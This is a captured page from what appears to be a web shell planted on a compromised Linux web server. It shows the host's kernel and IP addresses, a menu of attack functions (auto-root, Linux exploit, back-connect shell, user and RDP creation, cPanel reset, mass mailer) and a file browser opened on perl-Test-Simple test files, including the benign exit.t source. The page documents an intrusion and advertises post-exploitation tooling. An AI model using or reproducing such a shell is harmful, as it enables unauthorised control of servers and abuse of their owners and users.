Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els11.x86_64 #1 SMP Sun Nov 3 09:06:59 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.189.184.99
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Test-Simple-0.98 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
Builder
[ DIR ]
drwxr-xr-x
Simple
[ DIR ]
drwxr-xr-x
Tester
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
subtest
[ DIR ]
drwxr-xr-x
00compile.t
982
B
-rw-r--r--
00test_harness_check.t
764
B
-rw-r--r--
BEGIN_require_ok.t
463
B
-rw-r--r--
BEGIN_use_ok.t
388
B
-rw-r--r--
More.t
5.1
KB
-rw-r--r--
bad_plan.t
495
B
-rw-r--r--
bail_out.t
660
B
-rw-r--r--
buffer.t
424
B
-rw-r--r--
c_flag.t
417
B
-rw-r--r--
circular_data.t
1.17
KB
-rw-r--r--
cmp_ok.t
1.54
KB
-rw-r--r--
dependents.t
939
B
-rw-r--r--
diag.t
1.4
KB
-rw-r--r--
died.t
848
B
-rw-r--r--
dont_overwrite_die_handler.t
353
B
-rw-r--r--
eq_set.t
562
B
-rw-r--r--
exit.t
2.98
KB
-rw-r--r--
explain.t
582
B
-rw-r--r--
extra.t
958
B
-rw-r--r--
extra_one.t
869
B
-rw-r--r--
fail-like.t
1.52
KB
-rw-r--r--
fail-more.t
10.37
KB
-rw-r--r--
fail.t
1.04
KB
-rw-r--r--
fail_one.t
697
B
-rw-r--r--
filehandles.t
290
B
-rw-r--r--
fork.t
574
B
-rw-r--r--
harness_active.t
1.35
KB
-rw-r--r--
import.t
244
B
-rw-r--r--
is_deeply_dne_bug.t
887
B
-rw-r--r--
is_deeply_fail.t
11.25
KB
-rw-r--r--
is_deeply_with_threads.t
1.4
KB
-rw-r--r--
missing.t
1.03
KB
-rw-r--r--
new_ok.t
705
B
-rw-r--r--
no_plan.t
664
B
-rw-r--r--
no_tests.t
782
B
-rw-r--r--
note.t
416
B
-rw-r--r--
overload.t
2.13
KB
-rw-r--r--
overload_threads.t
1.04
KB
-rw-r--r--
plan.t
474
B
-rw-r--r--
plan_bad.t
1.05
KB
-rw-r--r--
plan_is_noplan.t
404
B
-rw-r--r--
plan_no_plan.t
794
B
-rw-r--r--
plan_shouldnt_import.t
294
B
-rw-r--r--
plan_skip_all.t
190
B
-rw-r--r--
pod-coverage.t
793
B
-rw-r--r--
pod.t
149
B
-rw-r--r--
require_ok.t
786
B
-rw-r--r--
simple.t
200
B
-rw-r--r--
skip.t
1.9
KB
-rw-r--r--
skipall.t
481
B
-rw-r--r--
tbm_doesnt_set_exported_to.t
457
B
-rw-r--r--
thread_taint.t
122
B
-rw-r--r--
threads.t
629
B
-rw-r--r--
todo.t
3.28
KB
-rw-r--r--
undef.t
1.84
KB
-rw-r--r--
use_ok.t
1.42
KB
-rw-r--r--
useing.t
365
B
-rw-r--r--
utf8.t
1.25
KB
-rw-r--r--
versions.t
482
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exit.t
#!/usr/bin/perl -w # Can't use Test.pm, that's a 5.005 thing. package My::Test; BEGIN { if( $ENV{PERL_CORE} ) { chdir 't'; @INC = '../lib'; } } require Test::Builder; my $TB = Test::Builder->create(); $TB->level(0); package main; use Cwd; use File::Spec; my $Orig_Dir = cwd; my $Perl = File::Spec->rel2abs($^X); if( $^O eq 'VMS' ) { # VMS can't use its own $^X in a system call until almost 5.8 $Perl = "MCR $^X" if $] < 5.007003; # Quiet noisy 'SYS$ABORT' $Perl .= q{ -"I../lib"} if $ENV{PERL_CORE}; $Perl .= q{ -"Mvmsish=hushed"}; } eval { require POSIX; &POSIX::WEXITSTATUS(0) }; if( $@ ) { *exitstatus = sub { $_[0] >> 8 }; } else { *exitstatus = sub { POSIX::WEXITSTATUS($_[0]) } } # Some OS' will alter the exit code to their own native sense... # sometimes. Rather than deal with the exception we'll just # build up the mapping. print "# Building up a map of exit codes. May take a while.\n"; my %Exit_Map; open my $fh, ">", "exit_map_test" or die $!; print $fh <<'DONE'; if ($^O eq 'VMS') { require vmsish; import vmsish qw(hushed); } my $exit = shift; print "exit $exit\n"; END { $? = $exit }; DONE close $fh; END { 1 while unlink "exit_map_test" } for my $exit (0..255) { # This correctly emulates Test::Builder's behavior. my $out = qx[$Perl exit_map_test $exit]; $TB->like( $out, qr/^exit $exit\n/, "exit map test for $exit" ); $Exit_Map{$exit} = exitstatus($?); } print "# Done.\n"; my %Tests = ( # File Exit Code 'success.plx' => 0, 'one_fail.plx' => 1, 'two_fail.plx' => 2, 'five_fail.plx' => 5, 'extras.plx' => 2, 'too_few.plx' => 255, 'too_few_fail.plx' => 2, 'death.plx' => 255, 'last_minute_death.plx' => 255, 'pre_plan_death.plx' => 'not zero', 'death_in_eval.plx' => 0, 'require.plx' => 0, 'death_with_handler.plx' => 255, 'exit.plx' => 1, ); chdir 't'; my $lib = File::Spec->catdir(qw(lib Test Simple sample_tests)); while( my($test_name, $exit_code) = each %Tests ) { my $file = File::Spec->catfile($lib, $test_name); my $wait_stat = system(qq{$Perl -"I../blib/lib" -"I../lib" -"I../t/lib" $file}); my $actual_exit = exitstatus($wait_stat); if( $exit_code eq 'not zero' ) { $TB->isnt_num( $actual_exit, $Exit_Map{0}, "$test_name exited with $actual_exit ". "(expected non-zero)"); } else { $TB->is_num( $actual_exit, $Exit_Map{$exit_code}, "$test_name exited with $actual_exit ". "(expected $Exit_Map{$exit_code})"); } } $TB->done_testing( scalar keys(%Tests) + 256 ); # So any END block file cleanup works. chdir $Orig_Dir;
Close
